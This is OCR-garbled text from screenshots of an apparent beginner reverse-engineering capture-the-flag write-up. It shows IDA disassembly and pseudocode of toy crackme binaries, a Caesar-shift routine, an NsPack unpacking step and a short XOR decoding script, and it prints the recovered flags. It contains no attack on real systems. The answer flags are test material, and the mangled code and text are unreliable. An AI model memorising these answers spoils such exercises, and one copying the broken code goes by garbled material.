uncgs2 rdata:00- 00000025 ~ C  Partial loss of significance (PLOSS)

uncg83 rdata:00-+ 00000023  C  Total loss of significance (TLOSS

uncgss rdata:00-+ 00000036 C  The result is too small to be represented (UNDERFLOW)

uncd8s rdata:00-+ 0000001C  C  Argument singularity (SIGN)

unc9se rdata:00+ 00000028  C  _matherr(): %s in %s(bg, %) (retval=hg)\n

£unc98T [5 .rdata:00-+ 0000001C  C  Mingwwb4 runtime failure:\n

unc9ss [ .rdata:00+ 00000020 C  Address %p has no image-section

unc989 [ .rdata:00- 00000031  C VirtualQuery failed for %d bytes at address %p

unc990 [£ . rdata:00- 00000027  C VirtualProtect failed with code Ox¥x

unc991 [ .rdata:00- 00000032  C Unknown pseudo relocation protocol version %d. \n

func99z [5 .rdata:00- 00000024  C Unknown pseudo relocation bit size %d. \n

£uncg93 [S .rdata:00-+ 00000053 ~ C  %d bit pseudo relocation at %p out of range, targeting %p, vielding the value %p.\n

FERRE PRI Rk flaghlhint
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¥ IDA - miaomiaomi; C
File Edit Jump Search View Debugger Lumina Options Windows Help
B evey &M% 8 ) v TO dad . v#ewX > 00N debugger v @

Library function [l Regular function [l Instruction

o8 x @

Data [l Unexplored |\ External symbol [l Lumina function

DA View-A [x] 5]

Functions

Strings B &8 Hex View-1

Structures B & Enums 0 & Imports Exports 8

Function name ~
__mingw_invalidParameterHandler
bre_c_init

cop_init

__tmainCRTStartup
WinMainCRTStartup
mainCRTStartup

atexit

__sce_register_frame
__gec_deregister_frame
brOken_dparT_

func2 (==

push ~ rbp

mov  rbp, rsp

funcl3 sub rsp, 26h

funels 1lea rax, Buffer

funel5 Imov rex, rax

funcls call  puts

funcl? nop

func18 add  rsp, 20h
pop  rbp

i retn

fune22 broken_4parT_ endp

EEEE]

funch ; Attributes: bp-based frame

£uncs public broken_aparT_
func9 breken_4parT_ proc near

5 "Learn about “Xref' and Find out which "..
3 Buffer

< >
Line 10 of 1080
& Graph overview =

100.00% (-512,-256) (80,294) 00000830 0000000140001530: brOken_dparT_ (Synchronized with Hex View-1)

Output

=R

Python 3.11.7 (tags/v3.11.7:fa7a6f2, Dec 4 2023, 19:24:49) [MSC v.1937 64 bit (AMD64)]
IDAPython 64-bit v7.4.6 final (serial 8) (c) The IDAPython Team <idapython@googlegroups.com>

Using FLIRT signature: SEH for vcé4 7-14.
Propagating type information. ..

Function argument information has been propagated
The initial autoanalysis has been finished.

Python |

AU: idle Down Disk: 210GB

BExref to, ELEEfUNc718

W IDA - miaomi
File Ed um s H

HH evay GGG & 3 By DO daks .+ v X > 00O[No debugeer ~| el @
a

0\Desktop\miaomiaomiao.exe

ug

Vie: Lumina Options W

Library function [l Regular function [l Instruction [l Data

o8 x

Unexplored [/ External symbol Ml Lumina function

DA View-A <] 5]

Functions

Strings B @8

Hex View-1 [

& Structures B & Enums B & Imports B @& Exports 8

Function name sl

7] _mingw_inval

B WinGraph32 - Xrefs to - [m} X
pre_cpp_init

__tnainCRTStart Fije Vi

TinMainCRTStar File View Zoom Move Help
mainCRTStertup) & R AME + HO@T S |\
atexit
_ecc_register.
gcc_deregistd IME_FUNCTION <
brOken_dparT_ | , \

funcl 0013

func7iB, \ pda 00014000F208: RUNTIME_FUNCT
funeTig, \

rva stru_ 14001

func?

e =

func3
funcd
funch
func6
func?
func8
func9
funcl0
funell
funcl2
funel3
funcld
funel5
funcl6
funel? nop

functs add  rsp, 20h
funcl!

func20 pop rop
func21
func22

<
func23 135.00% (-440,22) 5 nodes, 4 edge segments, 0 crossings
Sl

a brOken_4parT_, \ public breken_dparT_
push  rbp

imov rbp, rsp

sub rsp, 20h

lea rax, Buffer
imov rex, rax
call  puts

<

> ||broken_aparT_ endp

5 Attributes: bp-based frame

breken_aparT_ proc near

5 Buffer

“"Learn about “Xref  and Find out which f"...

func24

~ BB

>

Line 10 of 1080
& Graph overview 08 x

100.00% (-512,-256) (549,130) 00000B30 0000000140001530: brOken 4parT_ (Synchronized with Hex View-1)

Output

0O#&x

Python 3.11.7 (tags/v3.11.7:fa7a6f2, Dec 4 2023, 19:24:49) [MSC v.1937 64 bit (AMD64)]
IDAPython 64-bit v7.4.6 final (serial @) (c) The IDAPython Team <idapython@googlegroups.com>

Using FLIRT signature: SEH for vcé4 7-14
Propagating type information...

Function argument information has been propagated
The initial autoanalysis has been finished.

Python

am- idla  newn  nieks 210aR

FEHPHEIRE—ERf lag




¥ IDA - miaomiaomi: et
File Edit Jump Search View Debugger Lumina Options Windows Help
H oevov hms & ) By @0 dada*~#uX > 00N debuger V] e @

Library function [l Regular function [l Instruction I Data [l Unexplored Il External symbol [l Lumina function

Functions =3 DA View-4 ] =B Strings o = Hex View-1 [} & Structures o 3] Enums [x] 2] Imports Exports a
" A var_2= byte ptr -
Function name var_i- byte ptr -1
func705
fonctor bush  rbp
func708 Imov. rbp, rsp
func709 sub rsp, 36h
fune710 lea rax, a718 5 718"
func711 mov rex, rax 5 Buffer
func712 call
funeT1d call  breken_dparT_
nelit mov  ecx, 42h ; 5 Character|
call  putchar
Imov ecx, 75h ; 'u' ; Character|
call  putchar
imov ecx, 37h ; '7' ; Character|
call  putchar
Imov ecx, 5Fh ; '_' ; Character|
call  putchar
imov ecx, 5%h 5 "Y' ; Character|
call  putchar
imov ecx, 36h ; ; Character|
call  putchar
imov ecx, 75h ; 'u' ; Character|
call  putchar
Imov ecx, SFh ; '_' ; Character|
call  putchar
Imov ecx, 63h ; 'c' ; Character
call  putchar
Imov ecx, 46h ; '@ ; Character|
@ call  putchar
é imov. ecx, 6Eh ; ; Character
@ func739 v call  putchar
3 S Imov ecx, 5Fh ; '_' ; Character|
= call  putchar
Line 728 of 1080 nov Trbptvar_1], e6h ; ‘'
4 Graph overview =R Imov [rbp+var_2], 31h ; '1'
1 mov [rbp+var_3], 78h ; 'x'
mov [rbp+var_4], SFh ; '
imov [rbp+var_5], 31h ;
Imov [rbp+var_6], 74h ;
Imov [rbp+var_7], 21h ;
mov [rbp+var_8], 70h ;
noo
100.00% (-704,326) (39,330) 0000SES4 0000000140006954: func7le (Synchronized with Hex View-1)
B Output 0s x
Python 3.11.7 (tags/v3.11.7:fa7a6f2, Dec 4 2023, 19:24:49) [MSC v.1937 64 bit (AMD64)] >
IDAPython 64-bit v7.4.@ final (serial @) (c) The IDAPython Team <idapython@googlegroups.com>
Using FLIRT signature: SEH for vc64 7-14
Propagating type information
Function argument information has been propagated
The initial autoanalysis has been finished. v
Python
AU: idle Down Disk: 210GB
—]
N S
FRIDAFTFF, ERknE3
1
¥ IDA - attachment.exe C:\Users\jyzho\Desktop\attachment.exe X
File Edit Jump Search View Debugger Lumina Options Windows Help
BH evev G%S4 & 3 A @O ddd Sy LX) > No debugger v e e
N I
Library function [l Regular function Ml Instruction [l Data [l Unexplored I'| External symbol Ml Lumina function
[@ Functions 08 x @ DA View-A @ @  Pseudocode-A B Hex View-1 [x] @ Structures [x] i3] Enums [x] =] Imports Exports x]
Function name ~ ;%nt __cdecl main(int argc, const char **argy, const char **envp)
;:‘ic“ﬁ;:““”"P"""""e"""“““ 3 char Str1[160]; // [esp+18h] [ebp-68h] BYREF
Tore_cpp. init 4| int vs; // [esp+7Ch] [ebp-4h]
__tmainCRTStartup 5
_WinMainCRTStartup 6| _main();
_mainCRTStartup 7| Vs ;
encrypt(char % int) 8| printf("Input your flag:
in pt
- 9| scanf("%s' strl);
Zdyn_tls_dtor (x,x, ) 2 S
dyn_tls_init(x,x,%) 10| encrypt(strl, v5); =~ .
~ tlreedtor 11| if ( !stremp(Strl, “oujp{Hed_TwXf_Lahyce_14_e3ah_Rvy@ac@wc!}") )
y_leonv_init 12| printf("Good job!");
__decode_pointer 13| else
7] _encode_pointer 14| printf("Try again!");
Z —mingw_onexit 15| return 0;
7 _atexit e
Zgnu_exception_handler (x)
setaray
___mingw_raise_matherr
mingw_setusermatherr
matherr
__report_error
nark_section_writable
__pei386_runtime_relocator
fpreset
___do_global_dtors
do_global _ctors
"security_init_cookie
___report_gsfailure
7] __mingwthr_run_key_dtors_part_0
7] w64_mingwthr_add_key_dtor
7]___w64_mingwthr_remove_key_dtor
[F1_mingw_TLScallback v
< >
Line 44 of 71
& Graph overview o8 x
000009BD main:1 (4015BD)
& Output 0& x
Python 3.11.7 (tags/v3.11.7:fa7a6f2, Dec 4 2023, 19:24:49) [MSC v.1937 64 bit (AND64)] ~

E— TencryptERzg
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¥ DA -

exe C\L

exe

File Edit Jump Search View Debugger Lumina Options Windows Help
#H evoy mmt & 3 By @O doatFv#ei X > 0OONodbugger V| Wi @
S ||

L I
Library function [l Regular function [l Instruction I Data [l Unexplored [ External symbol [l Lumina function
() Functions O 8 X| @ maviewA © [E PseudocodeB @ [ Pseudocode-A @ @ HexViewl O [E Structwes B & Enums B @ Imports B @  Exports
Function name ~ fint __cdecl encrypt(char *al, int a2)

___mingw_invalidParameterHandler
pre_c_init
_pre_cpp_init
__tmainCRTStartup
_WinMainCRTStartup
mainCRTStartup
encrypt (char ¥, int)
_main
dyn_tls_dtor (x, x, x)

yn_tls_init(x, x, )
_tlregdtor
my_leonv_init
__decode_pointer
_encode_pointer
mingw_onexit
atexit
_enu_exception_handler (x)
__setargy
__mingw_raise_matherr
__mingw_setusermatherr
matherr

report_error

nark_section_writable
__pei386_runtime_relocator
fpreset
__do_global_dtors
_do_global_ctors
main
__security_init_cookie
__report_gsfailure
__mingwthr_run_key_dtors_part_0
%64_mingwthr_add_key_dtor
w64_mingwthr_remove_key_dtor
__mingw_TLScallback

<

int result; // eax
char v3; // [esp+8h] [ebp-5h]
int i; // [esp+Ch] [ebp-4h]
for (i=0; ; ++i)
result = (unsigned _int8)ai[il;
if ( 1(_BYTE)result )
break;
v3 = allils
if (V3 <= 96 || v3 > 122)

{
if (V3 > 64 8& v3 <= 90 )
V3 = (V3 + a2 - 65) % 26 + 65;

else
V3= (V3 + a2 - 97) % 26 + 97;
¥
218] = v3;
}

return result;

L2 EARYTUEIING,

29

oujp{HOd_TwXf_Lahyc0_14_e3ah_RvyOac@wc!}

s o

=20 =H

flag{YOu_KnOw_

fitZe it

c

Crypt0_14_v3ry_ImpOrt@nt!}

B, KUHAnspackil T

- Exeinfo PE - ver.0.0.8.0 by AS.L- 1172+162 sign 2023.06.21

RTARS

X

| File : Hu’ad(w&uis.exe
Entry Pont: <
File Offset :

[ pef (S

o
|
RY =
e

R —t N
FirstBytes : |9C 60 E8 00 00 7]
SubSystem :  |win Console PE
Overlay :

Linker Info :

[<] [er]

RES/OVL:7 /0 %

nsPack ver.3.x-4.1reg by North Star [ Code size =00l<b-FIXlT-NSTD]| Scan /t
Lamer Info - Help Hint info fims. @

[Big sec, 02 [.nsp1], try Quick unpack v4.2 - www.AHTeam.org |
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NsPack 3.x Stripper v1.0 — X

F5m13m]ﬁaﬂﬂvL0
oveboom[DFCG] [FCG] [CUG]

http: /fwww.loveboom.net

) FE:
1ES:
fodik:
T =M

BESE '
EERERFRAE \
SABREEE

SiESE -
R F=--1E 5 Z

loveboon, Jezzusm

(DPCGILCOI (US) | e amany|

| W

[(wEw | mito | #=0 |

MsPack 3.% Stripper 1,0

HUHIDA, EpkiiEE—R

Q8 IDA - crack walnuts_Un.exe C\Users\jyzho\Desktop\crack walnuts_Un.exe
file Edit Jump Search View Debugger Lumina Options Windows Help

#H evo-[ A& 8 3 A DO dad@F - # X > 00N debugger

Library function Ml Regular function [l Instruction

[7 Functions

08 x @

v e e
o

Data [l Unexplored
IDA View-A o B

External symbol Ml Lunina function

Pseudocode-A B @ Hex View-1 B @ Enums 8 =

a
(]

Structures

Tnports [

@

X
Exports 8

Function name

_main
Sub_4010BE
_pre_c_init
_pre_cpp_init
__tmainCRTStartup

SIEE

Start
__raise_securityfailure
__report_gsfailure
__CxxUnhandledExceptionFilter (_EXCEPTION_POT
Sub_401489
_XcptFilter
_amsg_exit
UserMathErrorFunction
__FindPESection
IsNonwritableInCurrentInage
ValidateInageBase
security_init_cookie
atonexitinit

onexit
_atexit

__SEH_prologd
__SEH_epilogd
_except_handler4
_ert_debugger_hook

ate (void)

d
etUnhandledExceptionFilter

A _lock
< >
Line 2 of 44

& Graph overview

[int _cdecl main(int argc, const char **argy, const char **envp)
{

int v4; // eax
char Buffer[52]; // [esp+4h] [ebp-38h] BYREF

memset(Buffer, 6, 50);
printf("Please Input Flag:");
gets_s(Buffer, @x2Cu);
if (“strlen(Buffer) == 42 )
{
va = 0;
while ( (Buffer[v4] ~ byte_402130[v4 % 16]) == dword_402150[v4] )
{
if (+hvd >z 42 )
{
printf("right!\n");
return 8;
printf("error!\n");
return 0;

else

printf("error!\n");
return -1;

A EFICERENSE, F— NERMATRERKey

SIS

1s = [

0x12, 0x4, 0x8, 0x14, 0x24,
0x0, Ox1, Ox46, Ox5A,

0x41,

0x0D,

0x0c¢C,
1
print(len(1s))

key=[0x74, 0x68, 0x69, 0x73, O0x5f, 0x69, 0x73, Ox5f, Ox6e, Ox6f, 0x74, Ox5f,

|-nspe:ee4e213e byte_s@2130 db 74h ; DATA XREF: _main:loc_401e7F1Tr
.nsp@:00402131 aHisIsNotFlag db 'his_is_not_flag',e

.nsp@:0e402141 align 1eh

.nsp@:00402156 ; int dword_482158[]

.Nsp@:00402156 dword_402150 dd 12h ; DATA XREF: _main+8DTr
.Nsp0:004082154 dd 4, 8, 14h, 24h, 5Ch, 4Ah, 3Dh, 56h, @Ah, 16h, 67h, @
.nspe:ee4e2184 dd 41h, ©

.nspB:0048218C dd 1, 46h, S5Ah, 44h, 42h, 6Eh, ©Ch, 44h, 72h, ©Ch, @Dh
.nsp@:004821B8 dd 4eh, 3Eh, 4Bh, 5Fh, 2, 1, 4Ch, 5Eh, 5Bh, 17h, 6Eh, 8Ch
.nNspo:004921ES dd 16h, 68h, 5Bh, 12h, 2 dup(@)

.nsp@:00402200 dd 48h, @Eh dup(e)

0x66, 0Ox6c, 0x61, 0x67]

s=ll

for i in range(len(1s)):
s+=chr(1s[i]Akey[i%16])

print(s)

0x5C, Ox4A, 0x3D, 0x56, Ox0A, 0x10, 0x67,0x0,
0x44, 0x42, Ox6E, 0x0C, 0x44, 0x72, 0xO0cC,
0x40, Ox3E, Ox4B, Ox5F, 0x2, Ox1l, O0x4C, Ox5E, Ox5B, 0x17, Ox6E,
0x16, 0x68, 0x5B, 0x12




flag{59b8ed8f-af22-11e7-bb4a-3cf862dlee75}
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